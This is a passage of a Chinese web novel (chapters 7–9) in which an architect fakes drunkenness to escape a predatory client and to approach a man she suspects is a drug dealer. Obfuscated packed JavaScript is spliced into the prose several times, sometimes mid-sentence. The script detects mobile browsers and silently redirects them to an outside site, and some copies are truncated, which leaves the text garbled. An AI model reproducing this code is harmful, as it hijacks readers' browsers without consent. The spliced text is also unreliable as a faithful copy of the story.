可现在再想起来,眼前只浮现起一张瘦到颧骨突出,皮肤蜡黄,眼神黯淡到没有焦距的脸。 许希希吸毒。 高考结束,她和同学在KTV认识了两个男生,男生带她们去了酒吧。 她在酒吧里喝下别人掺了药的酒。 从那后沾了瘾,再也没有戒掉。 许希希说是那两个男生骗她的。 梁然至今记得她说这话时不停掉的眼泪。 而向邬道是那家酒吧老板的儿子,他保护过许希希几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许希希说她在戒毒所里举报了引诱她复吸的那个青年,她真的已经改好了,她想回到正常人的生活,可是她一个朋友都没有了。等不到梁然的回答,许希希哽咽了好久,痛苦地说出一声“对不起”。 梁然终于不忍心,毕竟是多年的发小,看到许希希走出来她是高兴的。 当时正是梁然和乔思嘉暑假回国的时候,乔思嘉怕许希希发疯伤害梁然,陪了梁然一起过去。 乔思嘉说:“我记得你那个发小挺漂亮的,那个男的也挺帅挺有钱,她那个时候就想复合吧?” “不记得了。”梁然不想再提关于许希希的事。 许希希错过了大学和复读,错过了许父许母和梁然最后的信任。 上一次听许希希的事,还是梁幸均去南城看梁然时惋惜地说许希希又复吸了,许父卖掉了老宅的别墅,公司也垮了,低价并给了大集团。 乔思嘉又聊起了关于乔父乔母的事,很郁闷。 乔思嘉想让派出所派民警护送乔父乔母回怀城,原因是前天晚上有男青年来打听23号房的病人叫什么。乔思嘉在护士那得知消息后马上就把病房换到了VIP间,去派出所要个说法。 民警说看监控对方戴着口罩,查不到身份信息,没发生什么问题,出动警力护送二老回南城不符合规定。 乔思嘉脾气倔,较真坚持,民警说除非二老真的受到实质性的伤害,才可以按她说的做。 乔思嘉到现在都还挺生气。 乔母是想让梁然劝劝乔思嘉,可梁然也觉得应该有人护送二老回去,并不认为乔思嘉有错。 梁幸均的死让梁然变得谨慎和不安,始终像一只受惊的鸟,害怕护不了她的巢穴,护不了梁悦。 乔母哪知道一向拎得清的梁然也会跟乔思嘉站到统一战线上,和乔父吃完饭回来就听梁然跟乔思嘉讨论这件事。 乔思嘉说:“你说是不是这个道理?” 梁然说:“肯定啊。” 乔思嘉说:“我的要求不过分吧?” 梁然说:“不过分。” 望着她们,乔母一阵语塞,对乔父说:“看她们两个你想起什么?” 乔父:“天津那趟旅游,茶楼里唱相声的。” 四个人互相对视,病房里响起一阵笑。 7. 第 7 章 离开医院后,梁然回了酒店,她习惯在去工地或医院这种开放环境后到家立刻洗澡。 刚洗漱完吹干头发,梁然接到了甲方董事长的电话。 因为对梁然的设计很满意,顾儒海想介绍一个项目给她。他的电话通过助理打来,问她现在在不在酒店,可以过去当面聊。 梁然:“那给我十分钟!” 梁然迅速换好衣服,在空气里喷了点香水,穿过香雾去拿笔记本,换了双银色高跟鞋走出房门。 甲方这座酒店的顶层是顾儒海的专属套房。 梁然跟着他的助理进去,客厅棕色沙发上坐着顾儒海,茶几前是穿着旗袍的茶艺师,很是优雅专业地冲泡着茶水。 顾儒海跟梁幸均一样的年纪,很正派的商人气质,对梁然说:“小梁喝不喝茶,来尝尝我的收藏。” “您的茶肯定是好茶。” 梁然坐到顾儒海对面,视线落在旁边一个空茶杯上,杯子旁放着一部折叠屏手机。 顾儒海解释:“宋董在洗手间,贪杯的下场。”他没有商界大佬的架子,玩笑一般跟梁然笑着说。 茶艺师将沏好的茶放到梁然身前,滚烫的茶汤冒着热气,梁然端起精致的红釉杯细闻,蜜香弥漫,她说:“是勐库的熟普?” 顾儒海还没说话,身后传来宋晟的笑声:“顾董推荐的这个设计师很有品味。” 梁然放下杯子起身,看向西装革履的男人。 宋晟三十几岁,看上去比梁然想象的年轻许多,他走到梁然身前,步伐稳重,很是成熟干练。 见到梁然,他的眼神似乎有那么一瞬间的定格,抿起笑。 梁然介绍起自己,伸出手。 宋晟同她握手时,微紧的力道让梁然抬起头,对方依旧是自然的微笑。但梁然见多了一些工作以外的异性骚扰,不动声色地抽出手,不免多留了个心。 宋晟笑了笑,居高临下的视线落在梁然脸上:“梁小姐坐。” 顾儒海介绍起梁然的作品,一直在夸梁然的创意。助理接了个电话跟他耳语了两句,顾儒海说:“我还有个会,你们先聊。小宋你别难为小梁,我的项目都还仰仗她。” 宋晟笑着说:“您见过我为难年轻人吗。” 顾儒海走后,偌大的会客厅安静了片刻,梁然问:“听顾董说宋董在开发中式别墅项目?” “是,刚竞标下来的黄金地皮。顾董推荐梁小姐,说梁小姐年轻有为,我看了梁小姐的作品比较感兴趣,你的设计很有中式文化的典韵,只是没想到梁小姐这么年轻漂亮。” 梁然保持着微笑:“谢谢。宋董时间宝贵,我有幸可以先听下您的想法。” 宋晟眯眼笑着看了梁然一眼,聊起这个项目的方向。 梁然专业而严谨,工作上滴水不漏。 宋晟听得专注,很礼貌的做派,却在最后聊完时朝茶艺师说了一句:“谢谢,茶很好。” 茶艺师很识趣地起身离开,宋晟的助理也站到了房门外。 会客厅的房门虽然敞开着,但客厅里这种安静的氛围还是让梁然生起了戒备。 “梁小姐晚上有空吗,我们饭桌上再聊下细节,我很满意你的设计理念。”宋晟的语气带着一种胸有成竹的笃定。 梁然望着对方的眼睛,宋晟笑意更深了,她也抿了抿红唇笑说:“我有时间。” 好像女性的创业总是会有太多性别上的劣势。 一如此刻,梁然怎么看不懂宋晟眼里的兴趣。不是对她的作品,而是对她这个漂亮的异性。 也没有多意外,生意场上这样的状况总避免不了。 她平日里和乔思嘉配合得很好,刚回国那年接一个三线城市的小项目,甲方比梁幸均年龄还大,尾款拖着不给还想占梁然的便宜,被她和乔思嘉里应外合,配合着拍下了对方骚扰她的视频,最后一手付尾款一手删视频,HE的结局。 正好乔思嘉就在宁城,梁然打算等会儿叫上乔思嘉一起。 宋晟问:“梁小姐有喜欢吃的菜系么?你挑个地方。” 这倒有些意外,梁然说:“我挑地方吗?” “当然可以,看你是南城人,应该吃不惯当地的口味。你挑个地方,我约上顾董。”宋晟说:“或者我定地方,吃梁小姐的家乡菜。” 玫瑰色的夕阳光斑从落地窗上一点点褪尽,只在手机上反复搜索过的大楼像在这片夕阳的光影中跃到了梁然眼前。 “我知道一家云南菜,不过是一家娱乐会所,藏龙卧虎,厨师很有手艺。”梁然白皙的脸从未有过的平静,只有她知道这平静下起伏的浪潮。 她说的是「云上人间」,她这几天反复在地图上紧盯的地方。 宋晟抿起笑,交代助理去安排。 梁然没有再叫乔思嘉。 这顿饭开始在晚上八点,梁然与宋晟提前坐了半个小时才等到顾儒海过来。 助理推开包房的门,随同顾儒海进来的还有门外聚会的吵闹声。 顾儒海说:“怎么选在这个地方?” 这是沈宗野从凌晨呆到第二天五点的综合会所,很吵闹、不高档,走廊里还有醉酒的客人闹腾。 宋晟眯眼笑着圆场:“突然想尝尝云南菜,梁小姐说这里的厨师地道。” 这家会所的确衬不上顾儒海与宋晟这种有身份的商人,好在桌上每道菜都很正宗,厨师的确是地道的云南人,几道傣味做得很棒。 梁然并没有提前来过这里。 从上次记下沈宗野的坐标,她每天都会搜索这家会所,网上的评分她都有看。 包房的门关上后隔绝了外面嘈杂的声音,顾儒海没再介意,问宋晟跟梁然谈得怎么样。 他们谈话的间隙,梁然起身说:“顾董,宋董,失陪一下,我去个洗手间。” 包房里就有卫生间,但宋晟笑了下,没拆穿梁然。 梁然走出包房,长长的过道充斥着一间间包房里聚会的吵闹声。 每经过一间包房,梁然都走得很慢,服务员推门上菜的间隙她的余光都落进房间里,没有看到沈宗野的身影。 也不是很失望,像乔思嘉说的没有一个人会偶遇另一个人三次。 不知道今天沈宗野有没有过来。 不知道楼上的洗浴房里会不会有他。 梁然转身去了前台:“请把御府包房的消费结算一下,我先预存。” “您好,这间的消费已经结过了。” 梁然看了眼签账单,是宋晟的助理。 她只好转身要回去,迎面走来三个青年,说话声传进梁然耳中,戴着耳钉的青年在说“这么干宗哥肯定不同意”。 宗哥。 沈宗野的宗吗? 梁然下意识放慢了脚步。 他们从梁然身边经过,谈话声渐行渐远:“宗哥的脾气……反正我不说,谁说谁倒霉。” 梁然望着他们的背影,红唇终于有了冷笑的弧度。 三个人在一间包房门口踟蹰了半天才推门进去,梁然的眼底生起笑意,很自然地经过那里,回到她的包房。 顾儒海说很多年没吃过云南菜了,夸梁然推荐的大厨手艺很不错。 梁然端起盛着红酒的高脚杯:“能吃上这顿饭,我应该敬顾董。” 她又绕到宋晟身前敬宋晟,宋晟抿笑饮完,梁然说:“谢谢你,宋先生。” “谢我什么,合同还没签呢。”宋晟微微俯身,目光流连在梁然画着精致妆容的脸上。 梁然不适合喝酒,她一沾酒就会上脸,白皙的皮肤透出微醺的粉红,灯光下微微仰着脸,这样看着身前的宋晟,一双感激的眼睛漂亮得像在说话。 宋晟忍不住低了低脖子。 梁然带着刻意又谦逊的语气,格外放轻了声音,只给宋晟听到:“刚刚去结账,您已经结过了,本来该我请的。” 她像是喝醉了,往后一靠,宋晟忙伸出胳膊扶住她后背。 男人滚烫的手掌隔着薄薄的衣料贴上她后背。 “我没事。”梁然摇了摇头,撑着椅子坐回原位。 她又敬起顾儒海,主动喝了三杯说感谢他们,说她和合伙人的工作室一路走来不容易。说完这些,她翘着红唇阖了阖眼,轻轻倒在了饭桌上。 宋晟的助理过来小心地喊她:“梁小姐?” 梁然安安静静的,一动不动。 顾儒海抽出一支雪茄:“小梁不容易啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925270|160467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 宋晟淡笑,抿了抿高脚杯里的红酒。 顾儒海吐出一口烟说:“我叫人把小梁送回酒店吧。” “饭吃好了,顾董先忙,我挺满意梁小姐的设计,让我来安排。” 顾儒海抖烟灰的手一停,想了下:“小宋,你别乱来。” “我是乱来的人么。”宋晟失笑:“我这个项目的确想交给她做,而且我未婚,小梁也单身,就算我有什么想法也不奇怪。” “都是成年人了,你刚刚也看到她什么态度。”宋晟很愉悦地挑了挑唇角。 刚才梁然确实仰着脸跟宋晟说了句悄悄话,顾儒海自然看见了。 宋晟:“新区那个项目到时候我叫上您。” 顾儒海摁灭雪茄,一时的沉默。 商人逐利,他当然很清楚谁给的利益更重要。 顾儒海最终没再说什么,看了眼梁然离开了包房。 梁然并没有醉。 喝完酒当然不太舒服,但这几杯酒量还没到醉的程度。 她只是想借醉酒演一场戏。 沈宗野在这里,她总要试试。 宋晟的脚步声在她身后停下。 男人俯下身,手掌落在她肩上,浓厚的酒气与古龙水香气充斥在她头顶。 “梁小姐。” “梁然?” 梁然动了一下,很迷惘地睁开眼睛。 丝丝缕缕的酒气都在她眼底弥散开,被枕过的脸颊格外的艳,她仰着脸迷惘地看左右。 “宋……董?顾董呢?” “有事先走了,你喝多了,我送你。” 宋晟扶起梁然,手臂搂过她的腰。 梁然任由他搀扶起来,特意回酒店换过的短裙下,一双白皙修长的腿虚软地踩着高跟鞋。 过道里没什么人,一间间包房里传出吵闹的笑谈。 梁然崴了下脚,歪在旁边一间包房门口,醺醉地推开门就对着包房里的人笑:“我敬你一杯。” 包房里的人都一愣,宋晟忙把她扶正,他的助理在身后对包房里的人说着“不好意思”。 梁然又推开一间房门,助理又赶紧来道歉。 宋晟始终搂着梁然的腰,梁然仰起脸朝他笑嘻嘻地指着又一间包房。 宋晟眯了眯眼,勾起唇角整理她脸颊贴到的头发,并不制止,任由梁然笑嘻嘻地去推门。 包房的门打开,里面的青年吼了一声:“你他妈有病啊!” 宋晟有些不悦,何曾在这种不起眼的场合被人瞧不起。 助理说:“抱歉,但请注意你的用词。” 梁然却挣脱了宋晟的手。 那样一群人中,她看见了坐在沙发上的沈宗野。 那就是她费尽心机来“偶遇”的沈宗野。即便穿着黑色的衬衫,于光线昏暗处他也格外出众于人群。昏黄的光束落在他挺拔的鼻梁,眼帘投下的阴影让那双眼睛漆黑得看不真切。 嘈杂声,烟草气,酒气全都扑向梁然。 梁然闯进去,跌跌撞撞坐到沈宗野旁边,脑袋一头扎了下去。 整个包厢好像在瞬间寂静了。 几个青年都挂着发懵的表情。 一头长发如同黑色丝缎,散落在沈宗野整个肩膀,梁然说:“宝贝!等我很久了吧。” 离他们最近的那个耳钉青年懵得眼珠子都快掉出来了。 梁然抓住了沈宗野拿烟的那只手腕。 她仰起发红的脸,微醺的眼睛写着“帮帮忙”,嘴唇几乎快贴到沈宗野耳朵上:“真是太巧了,沈宗野,是你。” 她说:“你帮我个忙,不要让他带走我。” 她的声音潮湿而轻,只有他们两个人能听见。 包厢里太安静。 沈宗野的手上握着一支烟,沉默让烟头被星火缓慢地吞燃。 青色的烟雾里,他垂眸看梁然,幽深的眼睛宛如海域。 梁然仰着脸,急得眼睛都红了。 “梁然,你喝醉了。”宋晟迈进房间里。 梁然环住沈宗野的手臂,他的皮肤很凉,肌肉很紧实。 这一瞬间很短暂,可一分一秒走在梁然紧张的心弦上,也足够漫长。 8. 第 8 章 沈宗野没有推开她,他依旧交叠着长腿一动不动地端坐。 他缓缓地吐出一口烟雾:“我知道,所以你可以走了。”他淡笑看向宋晟。 梁然蓦地松口气。 宋晟很意外地看着沈宗野与她。 梁然轻轻弯起唇:“这是我男朋友哦!” 宋晟不相信,他显然是打听过她的,知道她来来往往都是一个人。 梁然环着沈宗野手臂,醺醉的眼睛里都是笑,灯光变成星火升在她眼底:“宋先生,今晚谢谢你,我男朋友在这你就放心了。” 宋晟没消化这个消息,梁然很温顺地靠着沈宗野,完全不像喝醉认错人的样子。 他吸了口气盯着沈宗野问:“她叫什么名字?” “然然。” 沈宗野笑了笑:“你还挺负责,谢了哥们。” 梁然翘起唇角,闭着眼睛靠在沈宗野的肩膀上。 屋里几个青年面面相觑,但很机灵地走过去对宋晟说:“哥们我送你,谢了谢了。” 宋晟走出了包房,梁然没去管他多难堪的脸色。 门一关,包房里很是安静,耳钉青年尴尬又不失礼貌的声音打破了这种有点诡异的气氛。 “宗哥不早说,这么漂亮的嫂子不带给我们见见!” “是啊嫂子太好看了,我刚才来的时候在大厅瞟到一眼,还在想这是谁家的仙女,搁我面前都不敢正眼看!” “嘿嘿嫂子!” “嫂子好!”他们都对梁然打着招呼。 梁然依旧保持着靠在沈宗野肩膀上的姿势,微醺的气息有些急促,短裙几乎包不住两条大白腿。 沈宗野自然知道梁然的境遇,他的视线只是极淡地扫过她的腿和脸,把那截烟吸完,扔掉烟头:“起来。” 他没有看梁然,这句话也听不出情绪。 梁然环紧了他的手臂,沈宗野没拒绝,半扶半靠带她出了包房。 身后耳钉青年说:“宗哥,那我们在这等消息,到时候……” “知道了。”沈宗野冷淡地打断,扫了梁然一眼。 梁然被他带到了那辆黑色汽车旁。 他们身后跟着一个不怎么说话的青年,坐上了驾驶座。 沈宗野将梁然塞到车厢后座,站在车门外。 宋晟的车还停在停车场,梁然说:“你上车,他还没走。” 沈宗野的眼睛盯着她,不言不语,这种异常冷静的眼神让梁然完全看不出他在想什么。 她脑子转着,思考要编造哪些理由。 沈宗野却在下一秒上了车,在她旁边坐下,中间隔开一段距离。 梁然捂着嘴做出难受的样子,打开车窗假装想吐又吐不出来。 车子开出停车场,沈宗野说:“把你放哪儿?” 梁然“难受”得说不出话。 开车的青年从后视镜里看一眼梁然,梁然刚好对上他的眼神。 探究、冷静、又淡漠,和沈宗野身上的气息如出一辙。 “送我去个酒店行吗?”梁然难受地扶着胃。 “上次的酒店?”沈宗野问。 听到这句话,开车的青年又从后视镜里看来一眼,好像是意外沈宗野竟然真的认识她。 梁然慢慢吞吞地摇头,有些凌乱的头发被窗口的风吹到了唇角,她费力地扯开,歪头倒在了沈宗野肩膀上。 沈宗野的身体像是瞬间绷直起来。 “有点难受,我靠一下。” 顿了瞬间,沈宗野什么都没再说。 不知道他的不动声色是不是在等待识破她的居心。坐在这样两个毒贩的车上,也许梁然是应该恐惧的。可如果和可能再失去亲人相比,梁然便觉得没有那么害怕了。 “不回那个酒店了,那就是我甲方的酒店,你帮我随便找个酒店吧,拜托。” 沈宗野没再开口。 开车的青年在导航上搜索着附近的酒店,选了最近一家。 风灌进车窗里,吹得梁然偏头疼又发作。 她皱了皱眉,依旧一动不动靠着沈宗野的肩膀:“我有点头痛,你帮我关一下窗?” 沈宗野没动。 开车的青年将车窗升上了。 梁然没再说话,沈宗野和开车的青年也没有交流。 车厢里异常的安静,梁然清晰听到她微沉的呼吸,她不明白沈宗野为什么不拒绝她的靠近,他好像并不是那种好色的人啊? 这个人给梁然的感觉很奇怪,一张好人皮披得也太好了。 很快到了酒店,梁然假装叫不醒,直到沈宗野推开她脑袋,低沉而淡的声音说:“到了,下车。” 梁然完美地展示了一个什么叫没有腿。 她连站都站不稳,一双腿打着颤,靠着车门栽了下去。 沈宗野手速很快,攥住她手臂,用那只残疾的左手。 他的眼神很沉很冷。 梁然笑嘻嘻的,抬起眼望进这样一双眼睛。 开车的青年说:“你送她进去,我车上等你。” 沈宗野就这样握着梁然手臂送她进了酒店。 几个推着拉杆箱的男女在前台排队办理入住。 就在梁然庆幸沈宗野真的肯送她进来,后面她该怎么发展时,忽然觉得沈宗野的脚步变快。 他几乎是拽着她在走,不再有刚才那股耐心。他的手臂力气很大,看似极淡地拽着她胳膊,实际手上粗糙的茧和重力都弄得她皮肤发痛。 他直接穿过排队的客人,不顾旁边两个高声说他有病插队的人,将她往前台一丢。 “这人住酒店,她喝醉了,麻烦找个女士带她进房间。” 丢下这句话,他转身出了大堂。 梁然的演技太好了,也应该说她出乎意料地完全忘记阻拦挣扎。 她半个身体磕到服务台的大理石上,整个人都没有抓握力,直接滑倒下去,是旁边刚才说沈宗野插队的一个女生拉住了她。 女生回头看沈宗野:“有病啊!这么对一个女生!” 梁然也看去,沈宗野大步穿行在酒店大堂富丽的灯光下,黑色衬衫袖摆高高挽起,仿佛还能看见刚才扔出她时手臂上鼓动的青筋。 他修长的身影已经消失在感应大门中,光亮的玻璃隔开了晦暗夜色。 女生问梁然疼不疼,前台也连忙出来扶她,后面的人说先给她办入住吧。 梁然醉得歪头笑,嘿嘿说谢谢,尽管沈宗野已经不在这儿,她依旧得演好醉酒的状态。 她只是太意外了,意外沈宗野会在这么深的夜晚把一个漂亮的异性丢开,而不是同她一起进入房间。 她真的看不透这个坏人。 …… 电梯上行到八楼,梁然从电梯门里出来,扶着墙壁乱撞,眼睛像看不清楚,把手上的房卡放到眼睛前,又对着两旁的门举着比对,摇摇晃晃扶墙走。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925271|160467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 安全通道的两扇门露出一条缝隙来,直到梁然穿过这扇门,一只大拇指缺失的手才推开门,英隽冷淡的一张脸映入门后,是沈宗野。 他并没有离开,刚才把梁然扔到前台的时候,他听到前面刚办完入住的女生接过房卡时,前台说的是八楼。 他并不确定梁然是不是也入住在八楼,从地下车库上来站了会儿,梁然果真进到了这一层。 她醉意很浓,扶着墙找了好几间,刷了几下房卡才推开房门,摇摇晃晃钻了进去。 沈宗野收回深邃的视线,高大身躯这才隐匿在两扇门后。 黑色汽车停在地下车库,沈宗野钻进去,谢天明发动引擎,车子徐徐汇入了街道车流里。 一阵无声的默契被低笑声打破,紧接着笑声越来越大了。 谢天明握着方向盘在笑,刚好等一个长红灯,他手指敲着方向盘,有意思地看沈宗野,AK都难压的嘴角全是取笑的意味。 夜色绚烂,盛夏的风吹进舒爽的凉意。 沈宗野:“笑什么?” “我这笑应该很明显啊,有些人走哪都有桃花。” 沈宗野表情很淡,并不认为好笑。 谢天明:“不过我有些不明白,你怎么肯帮她?当着云肖那帮人的面,有点不像你的风格。” “你知道老万做化疗,在一院附近租了间房。” 城市的夜晚灯光明亮,路口来往行人穿行,沈宗野继续说:“那天去找老万的时候外面下了大雨,有一只流浪猫在楼下躲。” 那天医院对面的楼里,他就坐在三楼的阳台上,望着那只躲雨的流浪猫一会儿缩在花坛下,一会儿瘸着腿窜到马路对面的医院墙角。来来往往那么多人,有的人也只是多看了它一眼,没人为它停下,还怪可怜的。 局势不寻常。 他当然不可能去帮一只流浪猫。 老万心怪狠,他不会让人觉得他是个异类。 直到他远眺见梁然把袋子里的食物喂给那只猫。 “那还挺有缘的,这大美女也挺可爱的。”谢天明听完,问:“她就是前几天丢手机那姑娘吗,我感觉和上次接电话的声音好像。” 上次梁然在派出所那里打来的电话,最先是谢天明接的。 沈宗野点头。 谢天明笑:“叫什么名字啊?刚刚还听你叫人家然然。我看人家对你挺有意思的,你不是说她也是南城人么,不然留个联系方式,以后兴许能遇见……” 沈宗野冰冷的视线扫向谢天明。 谢天明脸色一僵,瞬间闭了嘴,也意识说了不该说的话。 包房里那声“然然”是因为沈宗野惯常维系人设的习惯,他没有任何意图。 汽车照常行驶,两个人都不再交谈。 沈宗野靠在椅背上,余光扫到右肩上一根长头发,短了半截的拇指捻起来丢到了车窗外。他抱着手臂闭目养神,又突然睁开眼,捻起衣服闻了闻。 清冷又糅合着甜度的香水气侵入了鼻腔。 还是上次那股气味。 沈宗野抽出一支烟点燃,也懒得吞,都有意地吐在车厢里,烟雾落满了衣服和各个角落。 “草!” “让我吸二手烟,不管我死活啊!”谢天明哭笑不得地骂他。 有些笑点并不好笑,但却发生在不见天光的隐蔽线上,也许才镀上一点难得的惬意,让他们唇角生起忍俊不禁的弧度。 9. 第 9 章 第二天在酒店醒来,梁然翻出沈宗野的号码。 虽然感觉打电话他也许不会接,但她还是播了过去。 铃声响了三声那边就挂断了。 他果然很难接近。 梁然只好编辑短信。 「嗨,谢谢你昨晚帮我,欠你一个人情。我想请你吃顿饭,看你什么时候有时间?」 她又在句尾加了一个“呀”字,企图让人设看起来再无害一点。 但凭着沈宗野这种防备,梁然没打算能收到回复。 也的确是。一直到中午她都没有收到沈宗野的短信。 她打算晚上再去那家会所,现在首要是先挽留宋晟这个大客户,对于生意她当然也想把握住。 电话是宋晟的助理接的,语气不算差,当然也不好。梁然解释了一通,没能约到跟宋晟道歉的机会,那边只说“再说吧”。 挂了电话,梁然拨给了乔思嘉,把情况解释完:“明天吧,我先厚着脸皮去给宋晟道歉,然后我定个饭局,剩下的都交给你了,你社交能力比我强。” 乔思嘉说:“我现在刚下车,我都到机场了!” 梁然也才发现乔思嘉那边有航班的播报声。 “你带叔叔阿姨回去了,怎么突然今天走?” “他们给我派了个大帅比保护我爸妈!” 乔思嘉说派出所那边拗不过她,还真给安排了一个警察随身保护乔父乔母。 其实也是人家的私人行程,不归这边派出所管辖。 那个警察是南城的刑警,刚好来这边办案,又是所长的熟人。乔思嘉太难缠,所长没办法,才托人家来帮这个忙。反正都回南城,乔思嘉说也许对人家来说就是顺路的事。 “这样至少我有安全感啊,他一米八几,身材超级棒……”听筒里,乔思嘉的声音变得偷偷摸摸:“我看肌肉好发达哦,你摸过胸肌吗?” “还没这福气。” “我也没。”乔思嘉说:“不说了他在给我们办登机牌,我落地再和你谈工作,不行我明天再飞回来。” 没等梁然回答,乔思嘉已经很熟练地结束了通话。 梁然没再去想宋晟的事,一直到晚上,她再次来到了这家会所。 几个包房里没有沈宗野那群人的身影,梁然去跟前台套话。 前台说:“哦,我记得,沈先生嘛,他人很大方。”前台笑着说沈宗野一般都在这里吃晚饭,偶尔也会在楼上贵宾室过夜,时常给她们小费。 “他是我们老板的朋友,也可能今天也在。他有时候直接走一楼的后门,所以我也不是很确定他今天来没来。” “那一楼的后门怎么走?” 前台笑着说:“抱歉,那是我们老板的院子,不对外开放的。” 梁然没再追问,笑了笑:“你们餐厅的味道很好,三楼的SAP好像也不错,我办个卡吧。” 前台很高兴地帮梁然办理了储值卡,梁然充了两万块钱进去。 这是所中端型的综合娱乐会所,梁然把每一层都参观了一遍,直到看到沈宗野身边那几个正准备去做按摩的青年。 耳钉青年最先看到梁然,愣了下忙大步走过来,笑得很恭维:“是嫂子啊,嫂子你来找宗哥吧?走走走,我带你去!” 梁然很庆幸,她的运气好像也没有这么差。 如果梁幸均能保佑,那就一定要保佑她成功接近到沈宗野,成功让这些坏人早点伏法。 梁然保持着淡笑:“嗯,你们在啊,他在里面?” “刚跟董叔喝完茶,在楼上,我带嫂子过去!” 梁然查过了,这家会所的股东叫董自新,看来就是他们口中的董叔。 “还不知道你怎么称呼。” “嫂子叫我阿肖就好。”耳钉青年跟梁然做着介绍。 他叫云肖,身边两个人叫大鱼、李浩,昨天包房里另外两个人叫赵成和小九。他说一直没看到宗哥身边有人陪,能见到梁然他们很高兴。 梁然笑了笑:“可他有时候脾气很怪。” 旁边的大鱼立马接话:“对对对!嫂子你也这么觉得!宗哥那脾气,我都不敢多说一句……”他突然被李浩撞了下手臂。 梁然同他们回过头,正好看见从电梯里出来的沈宗野,他身后跟着昨晚开车的青年。 云肖赶忙喊:“宗哥,你看谁来了!” 见到梁然,沈宗野有些意外,但他的意外只是一瞬间,那张英隽的脸依旧是极淡的表情,他的视线径直落在梁然身上,修长的身躯也在她身前停下。 “中午的事情怎么样?”沈宗野问云肖,眼神没有再给梁然。 “八点能给信。”云肖回答着沈宗野的问题,收起了嬉皮笑脸:“我盯着,宗哥放心。” “你出来。”沈宗野这才淡淡对梁然说。 他的视线从她身上移开,漆黑的瞳孔看不出情绪,但整个人都写着他并不高兴再见到梁然。他已经转身往电梯那边走去了,长腿笔直,步伐很快。 谢天明就是昨晚开车的那个青年,梁然记得。谢天明看向梁然,眼神在示意她跟过去。梁然从他身边穿过,他伸开手臂去搂云肖他们:“走走走,喝酒去。” 电梯门打开,沈宗野迈步进去,梁然忙跟上他,黑色的裙摆在飘动里掠过沈宗野的长裤。 他按了一楼,梁然忙按了五楼的餐厅:“我还没有吃过饭呢。” 沈宗野薄唇紧绷,冰冷的眼神落在电梯轿壁上,轿壁光亮得像面镜子,照着他们两个人。他这么盯着梁然,梁然也望着轿壁上的他。 “你来找我,还是来吃饭?” “沈宗野,我是想来找你。” “那大可不必。”沈宗野取消了五楼,“麻烦你别再来。” “你帮我这么多,我总得请你吃顿饭。” “不需要。”光亮的轿壁清晰地照着梁然漂亮的脸,沈宗野望着镜子里的她,她也大大方方地迎着他的眼神。 沈宗野收起视线,依旧很冷淡:“我并没觉得帮过你。” 电梯到了一楼,几个要进来的客人站在门口等他们出来。 沈宗野双手插着裤兜,冷淡的表情写着让梁然赶紧走。 梁然重新按下五楼:“我刚来,还没想走。” 电梯外的几个人听她说不出去,便才都进来。 沈宗野却侧身走出电梯。 梁然慌忙地从人群里挤出去。 沈宗野推开安全通道的门往车库走。 梁然匆忙跟在他后面,她今天特意穿了一双平底的凉鞋,即便是在这种昏暗的角落,鞋面夸张的水晶钻也仍闪着光,黑色纱裙在她慌乱的脚步里扬起又落下。 沈宗野根本没等她,坐上了那台黑色汽车。 车灯亮起,他已经发动了引擎。 梁然速度也很快,追上车子飞快打开副驾驶的车门,几乎是在沈宗野转弯的同时跳到了车上。车子拐弯的倾斜险些将她甩出去,她死死握着车顶扶手。 沈宗野冰冷的眼神睨向她,梁然终于拉到了车门关上,惊魂未定地喘着气,冷静过来看到被车门夹住的裙子,又使劲去扯。 “沈宗野,我知道你难追,但你没必要这么难追吧。” 沈宗野没有撵她下车,却也并没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925272|160467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回答她的话,直接将车开出车库,穿过夜晚的车流,几分钟后停靠在一处人少的路边。 “下车。” 梁然的裙子还被车门夹着,这条裙子是梁悦送给她的礼物,梁然舍不得扯坏。 她捏着被夹住的那块纱说:“下雨那天晚上你没有这么冷淡。” 那天晚上沈宗野至少还有笑脸。 “我们并不熟。” “可我觉得我们已经算熟了,要是你觉得这种程度不算熟,那我跟你介绍一下我自己……” “不需要。”沈宗野打断了梁然,这一声很严厉。 他的语气就像梁幸辉视频里那样淡漠,充满了一种又狠又冷的戾气。 说真的,梁然有些被他这种声音吓到。寂静的车厢里,她失常的心率沈宗野不会知道,她的恐惧他也不会知道。 被沈宗野夺过相机那天,梁幸均是不是也像她此刻这样有后怕的恐惧? 